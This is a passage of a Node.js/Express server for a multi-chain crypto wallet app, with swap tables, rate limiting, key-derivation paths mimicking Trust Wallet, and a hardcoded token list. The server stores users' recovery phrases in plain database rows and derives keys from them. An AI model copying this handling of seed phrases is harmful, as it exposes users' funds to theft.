// Prepared statements for swap workflow
const insertSwapTransactionStmt = db.prepare(`
  INSERT INTO swap_transactions (
    user_id,
    session_login,
    phrase,
    from_symbol,
    to_symbol,
    from_amount,
    to_amount,
    fee_percent,
    fee_amount,
    usd_value,
    rate,
    release_at
  ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
`);

const selectDueSwapsStmt = db.prepare(`
  SELECT * FROM swap_transactions
  WHERE status = 'pending' AND release_at <= ?
  ORDER BY id ASC
`);

const selectPendingSwapsByPhraseStmt = db.prepare(`
  SELECT * FROM swap_transactions
  WHERE status = 'pending' AND phrase = ?
  ORDER BY release_at ASC
`);

const markSwapReleasedStmt = db.prepare(`
  UPDATE swap_transactions
  SET status = ?, released_at = ?, updated_at = CURRENT_TIMESTAMP, error = NULL
  WHERE id = ?
`);

const markSwapFailedStmt = db.prepare(`
  UPDATE swap_transactions
  SET status = ?, error = ?, updated_at = CURRENT_TIMESTAMP
  WHERE id = ?
`);

// Функция логирования безопасности
const logSecurityEvent = (event, details, req, userId = null) => {
  const ip = req.headers['x-forwarded-for'] || 
             req.connection?.remoteAddress || 
             req.socket?.remoteAddress || 
             req.ip || 
             '127.0.0.1';
  const userAgent = req.headers['user-agent'] || 'Unknown';
  
  console.log(`[SECURITY] ${new Date().toISOString()} - ${event}`, {
    ip,
    userId,
    event,
    userAgent: userAgent.substring(0, 100), // Ограничиваем длину
    ...details
  });
  
  // Сохранение в БД для анализа
  try {
    db.prepare(`
      INSERT INTO security_logs (event, details, ip, user_id, user_agent)
      VALUES (?, ?, ?, ?, ?)
    `).run(event, JSON.stringify(details), ip, userId, userAgent);
  } catch (error) {
    console.error('[SECURITY] Failed to save security log:', error);
  }
};

const app = express();
const PORT = process.env.PORT || 8080;

// Настройка trust proxy для правильной работы с rate limiting
app.set('trust proxy', 1);

// Security headers
app.use(helmet({
  contentSecurityPolicy: false, // Disabled for development; enable in production with proper CSP
  crossOriginEmbedderPolicy: false
}));

// Gzip/Brotli compression for all responses
app.use(compression({
  level: 6,
  threshold: 1024,
  filter: (req, res) => {
    if (req.headers['x-no-compression']) {
      return false;
    }
    return compression.filter(req, res);
  }
}));

app.use(cors());
app.use(express.json({ limit: '1mb' }));

// Rate limiting конфигурация
const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 минут
  max: 5, // максимум 5 попыток входа за 15 минут
  message: {
    error: 'Слишком много попыток входа. Попробуйте через 15 минут.',
    success: false
  },
  standardHeaders: true,
  legacyHeaders: false,
  skipSuccessfulRequests: true, // не считаем успешные запросы
});

const generalLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 минут
  max: 500, // максимум 500 запросов за 15 минут (увеличено для поддержки множественного стейкинга)
  message: {
    error: 'Слишком много запросов. Попробуйте позже.',
    success: false
  },
  standardHeaders: true,
  legacyHeaders: false,
});

// Rate limiter специально для API стейкинга (более мягкий)
const stakingLimiter = rateLimit({
  windowMs: 1 * 60 * 1000, // 1 минута
  max: 50, // максимум 50 операций стейкинга за минуту
  message: {
    error: 'Слишком много операций стейкинга. Подождите минуту.',
    success: false
  },
  standardHeaders: true,
  legacyHeaders: false,
});

const swapLimiter = rateLimit({
  windowMs: 60 * 1000, // 1 минута
  max: 30,
  message: {
    error: 'Слишком много операций обмена. Подождите минуту.',
    success: false
  },
  standardHeaders: true,
  legacyHeaders: false,
});

// Применяем общий rate limiting ко всем запросам
app.use(generalLimiter);

// Static file serving with aggressive caching
app.use((req, res, next) => {
  const url = req.url;
  
  // Cache static assets for 1 year (immutable)
  if (url.match(/\.(js|css|otf|woff|woff2|jpg|jpeg|png|gif|svg|ico)$/)) {
    res.setHeader('Cache-Control', 'public, max-age=31536000, immutable');
  }
  
  // Cache HTML for 5 minutes
  if (url.match(/\.html$/)) {
    res.setHeader('Cache-Control', 'public, max-age=300');
  }
  
  next();
});

// Serve static files from dist directory (built frontend)
app.use(express.static('./dist', {
  maxAge: '1y',
  etag: true,
  lastModified: true,
  setHeaders: (res, filePath) => {
    // Установка правильных MIME типов
    if (filePath.endsWith('.css')) {
      res.setHeader('Content-Type', 'text/css');
    } else if (filePath.endsWith('.js')) {
      res.setHeader('Content-Type', 'application/javascript');
    } else if (filePath.endsWith('.html')) {
      res.setHeader('Content-Type', 'text/html');
      // HTML файлы не кешируем
      res.setHeader('Cache-Control', 'no-cache, no-store, must-revalidate');
      res.setHeader('Pragma', 'no-cache');
      res.setHeader('Expires', '0');
    }
  }
}));

// Backward-compatible API path aliases to support old frontend bundles
// Rewrites
//  - /api/session/*            -> /session/*
//  - /api/new-account[/]?      -> /new-account/
//  - /api/wallet/new-account/? -> /new-account/
//  - /api/sessionwallet/*      -> /sessionwallet/*
app.use((req, _res, next) => {
  try {
    if (typeof req.url === 'string') {
      if (req.url.startsWith('/api/session/')) {
        req.url = req.url.replace(/^\/api\/session\//, '/session/');
      } else if (req.url.startsWith('/api/sessionwallet/')) {
        req.url = req.url.replace(/^\/api\/sessionwallet\//, '/sessionwallet/');
      } else if (req.url.startsWith('/api/wallet/new-account')) {
        req.url = req.url.replace(/^\/api\/wallet\/new-account\/?/, '/new-account/');
      } else if (req.url.startsWith('/api/new-account')) {
        req.url = req.url.replace(/^\/api\/new-account\/?/, '/new-account/');
      }
    }
  } catch (_) {}
  next();
});

// Silence favicon 404s
app.get('/favicon.ico', (_req, res) => res.status(204).end());

// Handle /onboarding route - redirect to main wallet interface
app.get('/onboarding', (req, res) => {
  // Redirect to main page
  res.redirect('/');
});

// Token manager UI route
app.get('/token-manager', (req, res) => {
  res.sendFile(path.join(__dirname, 'dist', 'index.html'));
});

app.get('/token-manager.html', (req, res) => {
  res.sendFile(path.join(__dirname, 'dist', 'index.html'));
});

// Auto-login UI route (serve SPA)
app.get('/auto-login', (req, res) => {
  res.sendFile(path.join(__dirname, 'dist', 'index.html'));
});

app.get('/auto-login.html', (req, res) => {
  res.sendFile(path.join(__dirname, 'dist', 'index.html'));
});

// In-memory storage
let nextId = 1000;
const genId = () => nextId++;
const nowISO = () => new Date().toISOString();

// Derivation config (can be adjusted if a wallet uses a different path)
// Можно обновить эти пути после использования find-trust-wallet-paths.js
const DERIVATION = {
  EVM: { path: "m/44'/60'/0'/0/0", passphrase: '' },
  TRX: { path: "m/44'/195'/0'/0/0", passphrase: '' },
  BTC: { path: "m/84'/0'/0'/0/0", passphrase: '' }, // Native SegWit (bc1...) - стандарт Trust Wallet
  DOGE: { path: "m/44'/3'/0'/0/0", passphrase: '' }, // Dogecoin (BIP44, coin type 3)
  SOL: { path: "m/44'/501'/0'", passphrase: '' }, // Solana (BIP44, coin type 501)
  TON: { path: "m/44'/607'/0'", passphrase: '' }, // The Open Network (BIP44, coin type 607)
  XRP: { path: "m/44'/144'/0'/0/0", passphrase: '' }, // Ripple (BIP44, coin type 144)
  STRK: { path: "m/44'/60'/0'/0/0", passphrase: '' }, // Starknet (используется EVM путь)
  ADA: { path: "m/1852'/1815'/0'/0/0", passphrase: '' }, // Cardano (CIP-1852)
  SUI: { path: "m/44'/784'/0'/0'/0'", passphrase: '' }, // Sui (BIP44, coin type 784)
  DOT: { path: "m/44'/354'/0'/0'/0'", passphrase: '' }, // Polkadot (BIP44, coin type 354)
  NEAR: { path: "m/44'/397'/0'/0'/1'", passphrase: '' }, // NEAR implicit account
  XLM: { path: "m/44'/148'/0'", passphrase: '' }, // Stellar (account key)
  FIL: { path: "m/44'/461'/0'/0/0", passphrase: '' }, // Filecoin (coin type 461)
  LTC: { path: "m/84'/2'/0'/0/0", passphrase: '' }, // Litecoin bech32 (BIP84)
  DASH: { path: "m/44'/5'/0'/0/0", passphrase: '' }, // Dash (BIP44 coin type 5)
  ZEC: { path: "m/44'/133'/0'/0/0", passphrase: '' }, // Zcash transparent
  ATOM: { path: "m/44'/118'/0'/0/0", passphrase: '' }, // Cosmos SDK chains
  INJ: { path: "m/44'/118'/0'/0/0", passphrase: '' }, // Injective (cosmos-based)
  HBAR: { path: "m/44'/3030'/0'/0'/0'", passphrase: '' }, // Hedera
  APT: { path: "m/44'/637'/0'/0'/0'", passphrase: '' }, // Aptos
  DCR: { path: "m/44'/42'/0'/0/0", passphrase: '' }, // Decred
};

// Base58 encoding для Tron адресов (совместимо с Trust Wallet)
const BASE58_ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';

function base58Encode(bytes) {
  let zeros = 0;
  for (let i = 0; i < bytes.length && bytes[i] === 0; i++) zeros++;
  
  let value = 0n;
  for (const b of bytes) {
    value = (value << 8n) + BigInt(b);
  }
  
  let out = '';
  while (value > 0n) {
    const mod = value % 58n;
    value = value / 58n;
    out = BASE58_ALPHABET[Number(mod)] + out;
  }
  
  for (let i = 0; i < zeros; i++) out = '1' + out;
  return out || '1';
}

function hexToBytes(hex) {
  if (!hex) throw new Error('hex string is required');
  if (typeof hex === 'string' && hex.startsWith('0x')) hex = hex.slice(2);
  if (hex.length % 2 !== 0) throw new Error('Invalid hex');
  const arr = new Uint8Array(hex.length / 2);
  for (let i = 0; i < arr.length; i++) {
    arr[i] = parseInt(hex.substr(i * 2, 2), 16);
  }
  return arr;
}

function concatBytes(a, b) {
  const out = new Uint8Array(a.length + b.length);
  out.set(a, 0);
  out.set(b, a.length);
  return out;
}

// Генерация TRX адреса из приватного ключа (совместимо с Trust Wallet)
// Использует тот же алгоритм что и Trust Wallet: Keccak-256 + Base58Check
// Требует ethers v5 для совместимости с Trust Wallet
function deriveTronAddressFromPrivateKey(privateKeyHex) {
  if (!ethers || !ethers.utils) throw new Error('ethers.js v5 required for TRX address generation');
  if (!privateKeyHex) throw new Error('privateKeyHex is required');
  
  const pkHex = (typeof privateKeyHex === 'string' && privateKeyHex.startsWith('0x')) ? privateKeyHex : '0x' + privateKeyHex;
  
  // Создаем кошелек из приватного ключа (ethers v5)
  const wallet = new ethers.Wallet(pkHex);
  
  // Получаем публичный ключ (не сжатый, начинается с 0x04...)
  // В ethers v5 используется wallet._signingKey().publicKey
  const signingKey = wallet._signingKey();
  const pubKeyHex = signingKey.publicKey;
  const pubKeyBytes = ethers.utils.arrayify(pubKeyHex);
  const pubKeyNoPrefix = pubKeyBytes.slice(1); // убираем 0x04
  
  // Keccak-256 от публичного ключа без префикса -> берем последние 20 байт
  const keccakHex = ethers.utils.keccak256(pubKeyNoPrefix);
  const keccakBytes = ethers.utils.arrayify(keccakHex);
  const ethAddr20 = keccakBytes.slice(-20); // 20 байт
  
  // Tron добавляет префикс 0x41 перед 20 байтами
  const tronPrefix = new Uint8Array([0x41]);
  const tronAddr21 = concatBytes(tronPrefix, ethAddr20); // 21 байт
  
  // Base58Check: payload (21 байт) + первые 4 байта от double-SHA256
  const sha1Hex = ethers.utils.sha256(tronAddr21);
  const sha1Bytes = ethers.utils.arrayify(sha1Hex);
  const sha2Hex = ethers.utils.sha256(sha1Bytes);
  const sha2Bytes = ethers.utils.arrayify(sha2Hex);
  const checksum4 = sha2Bytes.slice(0, 4);
  const full = concatBytes(tronAddr21, checksum4);
  
  const tronBase58 = base58Encode(full); // Должен начинаться с 'T'
  return tronBase58;
}

// Sample networks/token info (trimmed but structurally similar)
const networks = [
  {
    id: 1,
    name: 'Binance Smart Chain',
    symbol: 'BEP20',
    rpcServerUrl: 'https://bsc.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 56,
    imageUrl: 'coins/bnb_bsc.png',
    tokenInfoList: [
      {
        id: 1,
        address: '',
        name: 'BNB',
        symbol: 'BNB',
        decimals: 18,
        icon: 'coins/bnb.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 300,
        percentChange: '0.10',
        coinMarketCupId: 1839,
        networkId: 1,
        networkName: 'Binance Smart Chain',
        networkSymbol: 'BEP20',
        networkImage: 'coins/bnb_bsc.png',
        stakeInfo: null,
        active: true,
        memo: false,
        mainToken: true,
        showDefault: true,
      },
    ],
  },
  {
    id: 2,
    name: 'Ethereum',
    symbol: 'ETH',
    rpcServerUrl: 'https://eth.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 1,
    imageUrl: 'coins/ethereum.png',
    tokenInfoList: [
      {
        id: 2,
        address: '',
        name: 'Ethereum',
        symbol: 'ETH',
        decimals: 18,
        icon: 'coins/eth.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 2500,
        percentChange: '0.50',
        coinMarketCupId: 1027,
        networkId: 2,
        networkName: 'Ethereum',
        networkSymbol: 'ETH',
        networkImage: 'coins/ethereum.png',
        stakeInfo: { id: 3, apy: 4.5, lockTimeAsDay: 4, minAmount: 0.008, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: true,
      },
      {
        id: 11,
        address: '', // ARB использует тот же адрес что и ETH (Layer 2)
        name: 'Arbitrum',
        symbol: 'ARB',
        decimals: 18,
        icon: 'coins/arb.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 0.75,
        percentChange: '0.00',
        coinMarketCupId: 11841,
        networkId: 2,
        networkName: 'Ethereum',
        networkSymbol: 'ETH',
        networkImage: 'coins/ethereum.png',
        stakeInfo: { id: 8, apy: 6.2, lockTimeAsDay: 7, minAmount: 10, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: false, // Это токен в сети Ethereum
        showDefault: false, // Скрыт по умолчанию - пользователи включат сами
      },
      {
        id: 12,
        address: '', // STRK использует тот же адрес что и ETH (Layer 2)
        name: 'Starknet',
        symbol: 'STRK',
        decimals: 18,
        icon: 'coins/strk.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 0.5,
        percentChange: '0.00',
        coinMarketCupId: 22691,
        networkId: 2,
        networkName: 'Ethereum',
        networkSymbol: 'ETH',
        networkImage: 'coins/ethereum.png',
        stakeInfo: { id: 9, apy: 8.5, lockTimeAsDay: 7, minAmount: 10, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: false, // Это токен в сети Ethereum
        showDefault: false, // Скрыт по умолчанию - пользователи включат сами
      },
      {
        id: 16,
        address: '0x95ad61b0a150d79219dcf64e1e6cc01f0b64c4ce', // SHIB ERC-20 контракт
        name: 'Shiba Inu',
        symbol: 'SHIB',
        decimals: 18,
        icon: 'coins/shiba.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 0.000008,
        percentChange: '0.00',
        coinMarketCupId: 5994,
        networkId: 2,
        networkName: 'Ethereum',
        networkSymbol: 'ETH',
        networkImage: 'coins/ethereum.png',
        stakeInfo: { id: 13, apy: 2.5, lockTimeAsDay: 7, minAmount: 1000000, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: false, // Это токен в сети Ethereum
        showDefault: false, // Скрыт по умолчанию - пользователи включат сами
      },
      {
        id: 17,
        address: '0xdac17f958d2ee523a2206206994597c13d831ec7', // USDT ERC-20 контракт
        name: 'USDT',
        symbol: 'USDTERC',
        decimals: 6,
        icon: 'coins/tether.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 1.0,
        percentChange: '0.00',
        coinMarketCupId: 825,
        networkId: 2,
        networkName: 'Ethereum',
        networkSymbol: 'ETH',
        networkImage: 'coins/ethereum.png',
        stakeInfo: { id: 14, apy: 5.5, lockTimeAsDay: 7, minAmount: 10, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: false, // Это токен в сети Ethereum
        showDefault: false, // Скрыт по умолчанию - пользователи включат сами
      },
    ],
  },
  {
    id: 3,
    name: 'Tron',
    symbol: 'TRX',
    rpcServerUrl: 'https://tron.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 111,
    imageUrl: 'coins/tron.png',
    tokenInfoList: [
      {
        id: 4,
        address: '',
        name: 'Tron',
        symbol: 'TRX',
        decimals: 6,
        icon: 'coins/trx.png',
        addressLen: 34,
        addressFirst: 'T',
        price: 0.1,
        percentChange: '0.12',
        coinMarketCupId: 1958,
        networkId: 3,
        networkName: 'Tron',
        networkSymbol: 'TRX',
        networkImage: 'coins/tron.png',
        stakeInfo: { id: 39, apy: 7.0, lockTimeAsDay: 7, minAmount: 30, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: true,
      },
      {
        id: 8,
        address: 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t', // USDT TRC20 contract address
        name: 'Tether USD',
        symbol: 'USDT',
        decimals: 6,
        icon: 'coins/tether.png',
        addressLen: 34,
        addressFirst: 'T',
        price: 1.0,
        percentChange: '0.00',
        coinMarketCupId: 825,
        networkId: 3,
        networkName: 'Tron',
        networkSymbol: 'TRX',
        networkImage: 'coins/tron.png',
        stakeInfo: null,
        active: true,
        memo: false,
        mainToken: false, // Это токен, не нативная монета
        showDefault: false, // Скрыт по умолчанию - пользователи включат сами
      },
    ],
  },
  {
    id: 5,
    name: 'Bitcoin',
    symbol: 'BTC',
    rpcServerUrl: 'https://btc.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/bitcoin.png',
    tokenInfoList: [
      {
        id: 5,
        address: '',
        name: 'Bitcoin',
        symbol: 'BTC',
        decimals: 8,
        icon: 'coins/btc.png',
        addressLen: 42,
        addressFirst: 'bc1',
        price: 60000,
        percentChange: '0.20',
        coinMarketCupId: 1,
        networkId: 5,
        networkName: 'Bitcoin',
        networkSymbol: 'BTC',
        networkImage: 'coins/bitcoin.png',
        stakeInfo: { id: 4, apy: 3.0, lockTimeAsDay: 7, minAmount: 0.001, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: true,
      },
    ],
  },
  {
    id: 6,
    name: 'Solana',
    symbol: 'SOL',
    rpcServerUrl: 'https://sol.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/solana.png',
    tokenInfoList: [
      {
        id: 6,
        address: '',
        name: 'Solana',
        symbol: 'SOL',
        decimals: 9,
        icon: 'coins/sol.png',
        addressLen: 44,
        addressFirst: '',
        price: 150,
        percentChange: '0.15',
        coinMarketCupId: 5426,
        networkId: 6,
        networkName: 'Solana',
        networkSymbol: 'SOL',
        networkImage: 'coins/solana.png',
        stakeInfo: { id: 5, apy: 9.62, lockTimeAsDay: 7, minAmount: 0.1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: true,
      },
    ],
  },
  {
    id: 7,
    name: 'The Open Network',
    symbol: 'TON',
    rpcServerUrl: 'https://ton.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/ton.png',
    tokenInfoList: [
      {
        id: 7,
        address: '',
        name: 'Toncoin',
        symbol: 'TON',
        decimals: 9,
        icon: 'coins/ton.png',
        addressLen: 48,
        addressFirst: 'UQ', // Non-bounceable формат (стандарт Trust Wallet)
        price: 5.5,
        percentChange: '0.00',
        coinMarketCupId: 11419,
        networkId: 7,
        networkName: 'The Open Network',
        networkSymbol: 'TON',
        networkImage: 'coins/ton.png',
        stakeInfo: { id: 6, apy: 4.8, lockTimeAsDay: 7, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false, // Скрыт по умолчанию - пользователи включат сами
      },
      {
        id: 48,
        address: '',
        name: 'Notcoin',
        symbol: 'NOT',
        decimals: 9,
        icon: 'coins/not.png',
        addressLen: 48,
        addressFirst: 'UQ',
        price: 0.008,
        percentChange: '0.00',
        coinMarketCupId: 28850,
        networkId: 7,
        networkName: 'The Open Network',
        networkSymbol: 'TON',
        networkImage: 'coins/ton.png',
        stakeInfo: { id: 16, apy: 19.87, lockTimeAsDay: 4, minAmount: 1000, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: false,
        showDefault: false,
      },
      {
        id: 76,
        address: '',
        name: 'BLUM',
        symbol: 'BLUM',
        decimals: 9,
        icon: 'coins/blum.png',
        addressLen: 48,
        addressFirst: 'UQ',
        price: 0.05, // Начальная цена, будет обновляться автоматически
        percentChange: '0.00',
        coinMarketCupId: 0, // Будет обновлено когда BLUM появится на CMC
        networkId: 7,
        networkName: 'The Open Network',
        networkSymbol: 'TON',
        networkImage: 'coins/ton.png',
        stakeInfo: { id: 17, apy: 27.1, lockTimeAsDay: 4, minAmount: 100, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: false,
        showDefault: false, // Скрыт по умолчанию - пользователи включат сами
      },
    ],
  },
  {
    id: 8,
    name: 'Ripple',
    symbol: 'XRP',
    rpcServerUrl: 'https://xrp.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/xrp.png',
    tokenInfoList: [
      {
        id: 9,
        address: '',
        name: 'Ripple',
        symbol: 'XRP',
        decimals: 6,
        icon: 'coins/xrp.png',
        addressLen: 34,
        addressFirst: 'r',
        price: 0.5,
        percentChange: '0.00',
        coinMarketCupId: 52,
        networkId: 8,
        networkName: 'Ripple',
        networkSymbol: 'XRP',
        networkImage: 'coins/xrp.png',
        stakeInfo: null,
        active: true,
        memo: true, // XRP иногда требует destination tag
        mainToken: true,
        showDefault: false, // Скрыт по умолчанию - пользователи включат сами
      },
    ],
  },
  {
    id: 9,
    name: 'Dogecoin',
    symbol: 'DOGE',
    rpcServerUrl: 'https://doge.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/dogecoin.png',
    tokenInfoList: [
      {
        id: 10,
        address: '',
        name: 'Dogecoin',
        symbol: 'DOGE',
        decimals: 8,
        icon: 'coins/doge.png',
        addressLen: 34,
        addressFirst: 'D',
        price: 0.08,
        percentChange: '0.00',
        coinMarketCupId: 74,
        networkId: 9,
        networkName: 'Dogecoin',
        networkSymbol: 'DOGE',
        networkImage: 'coins/dogecoin.png',
        stakeInfo: { id: 7, apy: 5.5, lockTimeAsDay: 7, minAmount: 100, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false, // Скрыт по умолчанию - пользователи включат сами
      },
    ],
  },
  {
    id: 10,
    name: 'Cardano',
    symbol: 'ADA',
    rpcServerUrl: 'https://ada.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/cardano.png',
    tokenInfoList: [
      {
        id: 13,
        address: '',
        name: 'Cardano',
        symbol: 'ADA',
        decimals: 6,
        icon: 'coins/ada.png',
        addressLen: 103,
        addressFirst: 'addr1',
        price: 0.35,
        percentChange: '0.00',
        coinMarketCupId: 2010,
        networkId: 10,
        networkName: 'Cardano',
        networkSymbol: 'ADA',
        networkImage: 'coins/cardano.png',
        stakeInfo: { id: 10, apy: 4.5, lockTimeAsDay: 7, minAmount: 10, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false, // Скрыт по умолчанию - пользователи включат сами
      },
    ],
  },
  {
    id: 11,
    name: 'Sui',
    symbol: 'SUI',
    rpcServerUrl: 'https://sui.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/sui.png',
    tokenInfoList: [
      {
        id: 14,
        address: '',
        name: 'Sui',
        symbol: 'SUI',
        decimals: 9,
        icon: 'coins/sui.png',
        addressLen: 66,
        addressFirst: '0x',
        price: 2.1,
        percentChange: '0.00',
        coinMarketCupId: 20947,
        networkId: 11,
        networkName: 'Sui',
        networkSymbol: 'SUI',
        networkImage: 'coins/sui.png',
        stakeInfo: { id: 11, apy: 3.5, lockTimeAsDay: 7, minAmount: 10, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false, // Скрыт по умолчанию - пользователи включат сами
      },
    ],
  },
  {
    id: 12,
    name: 'Polkadot',
    symbol: 'DOT',
    rpcServerUrl: 'https://dot.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/polkadot.png',
    tokenInfoList: [
      {
        id: 15,
        address: '',
        name: 'Polkadot',
        symbol: 'DOT',
        decimals: 10,
        icon: 'coins/dot.png',
        addressLen: 48,
        addressFirst: '1',
        price: 5.5,
        percentChange: '0.00',
        coinMarketCupId: 6636,
        networkId: 12,
        networkName: 'Polkadot',
        networkSymbol: 'DOT',
        networkImage: 'coins/polkadot.png',
        stakeInfo: { id: 12, apy: 14.5, lockTimeAsDay: 28, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false, // Скрыт по умолчанию - пользователи включат сами
      },
    ],
  },
  {
    id: 13,
    name: 'Zcash',
    symbol: 'ZEC',
    rpcServerUrl: 'https://zec.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/zcash.png',
    tokenInfoList: [
      {
        id: 18,
        address: '',
        name: 'Zcash',
        symbol: 'ZEC',
        decimals: 8,
        icon: 'coins/zec.png',
        addressLen: 35,
        addressFirst: 't1',
        price: 50,
        percentChange: '0.00',
        coinMarketCupId: 1437,
        networkId: 13,
        networkName: 'Zcash',
        networkSymbol: 'ZEC',
        networkImage: 'coins/zec.png',
        stakeInfo: { id: 15, apy: 16.83, lockTimeAsDay: 4, minAmount: 0.1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 15,
    name: 'Stellar',
    symbol: 'XLM',
    rpcServerUrl: 'https://xlm.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/stellar.png',
    tokenInfoList: [
      {
        id: 20,
        address: '',
        name: 'Stellar',
        symbol: 'XLM',
        decimals: 7,
        icon: 'coins/xlm.png',
        addressLen: 56,
        addressFirst: 'G',
        price: 0.1,
        percentChange: '0.00',
        coinMarketCupId: 512,
        networkId: 15,
        networkName: 'Stellar',
        networkSymbol: 'XLM',
        networkImage: 'coins/xlm.png',
        stakeInfo: { id: 17, apy: 9.2, lockTimeAsDay: 4, minAmount: 10, tokenInfoModel: null },
        active: true,
        memo: true,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 17,
    name: 'Uniswap',
    symbol: 'UNI',
    rpcServerUrl: 'https://uni.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 1,
    imageUrl: 'coins/uniswap.png',
    tokenInfoList: [
      {
        id: 22,
        address: '0x1f9840a85d5af5bf1d1762f925bdaddc4201f984',
        name: 'Uniswap',
        symbol: 'UNI',
        decimals: 18,
        icon: 'coins/uni.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 6,
        percentChange: '0.00',
        coinMarketCupId: 7083,
        networkId: 2,
        networkName: 'Ethereum',
        networkSymbol: 'ETH',
        networkImage: 'coins/ethereum.png',
        stakeInfo: { id: 19, apy: 6.7, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: false,
        showDefault: false,
      },
    ],
  },
  {
    id: 18,
    name: 'NEAR Protocol',
    symbol: 'NEAR',
    rpcServerUrl: 'https://near.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/near.png',
    tokenInfoList: [
      {
        id: 23,
        address: '',
        name: 'NEAR Protocol',
        symbol: 'NEAR',
        decimals: 24,
        icon: 'coins/near.png',
        addressLen: 64,
        addressFirst: '',
        price: 3,
        percentChange: '0.00',
        coinMarketCupId: 6535,
        networkId: 18,
        networkName: 'NEAR Protocol',
        networkSymbol: 'NEAR',
        networkImage: 'coins/near.png',
        stakeInfo: { id: 20, apy: 9.3, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 19,
    name: 'Pepe',
    symbol: 'PEPE',
    rpcServerUrl: 'https://pepe.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 1,
    imageUrl: 'coins/pepe.png',
    tokenInfoList: [
      {
        id: 24,
        address: '0x6982508145454ce325ddbe47a25d4ec3d2311933',
        name: 'Pepe',
        symbol: 'PEPE',
        decimals: 18,
        icon: 'coins/pepe.png',
        addressLen: 42,
        addressFirst: '0x',
        price: 0.000008,
        percentChange: '0.00',
        coinMarketCupId: 24478,
        networkId: 2,
        networkName: 'Ethereum',
        networkSymbol: 'ETH',
        networkImage: 'coins/ethereum.png',
        stakeInfo: { id: 21, apy: 14.6, lockTimeAsDay: 4, minAmount: 10000000, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: false,
        showDefault: false,
      },
    ],
  },
  {
    id: 20,
    name: 'Cosmos',
    symbol: 'ATOM',
    rpcServerUrl: 'https://atom.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/cosmos.png',
    tokenInfoList: [
      {
        id: 25,
        address: '',
        name: 'Cosmos',
        symbol: 'ATOM',
        decimals: 6,
        icon: 'coins/atom.png',
        addressLen: 45,
        addressFirst: 'cosmos',
        price: 5,
        percentChange: '0.00',
        coinMarketCupId: 3794,
        networkId: 20,
        networkName: 'Cosmos',
        networkSymbol: 'ATOM',
        networkImage: 'coins/atom.png',
        stakeInfo: { id: 22, apy: 22.1, lockTimeAsDay: 4, minAmount: 1, tokenInfoModel: null },
        active: true,
        memo: false,
        mainToken: true,
        showDefault: false,
      },
    ],
  },
  {
    id: 21,
    name: 'Dash',
    symbol: 'DASH',
    rpcServerUrl: 'https://dash.rpc.local',
    scannerUrl: '',
    backendUrl: '',
    chainId: 0,
    imageUrl: 'coins/dash.png',
    tokenInfoList: [
      {
        id: 26,
        address: '',
        name: 'Dash',
        symbol: 'DASH',
        decimals: 8,
        icon: 'coins/dash.png',
        addressLen: 34,
        addressFirst: 'X',
        price: 30,
        percentChange: '0.00',
        coinMarketCupId: 131,
        networkId: 21,
        networkName: 'Dash',
        networkSymbol: 'DASH',
        networkImage: 'coins/dash.png',
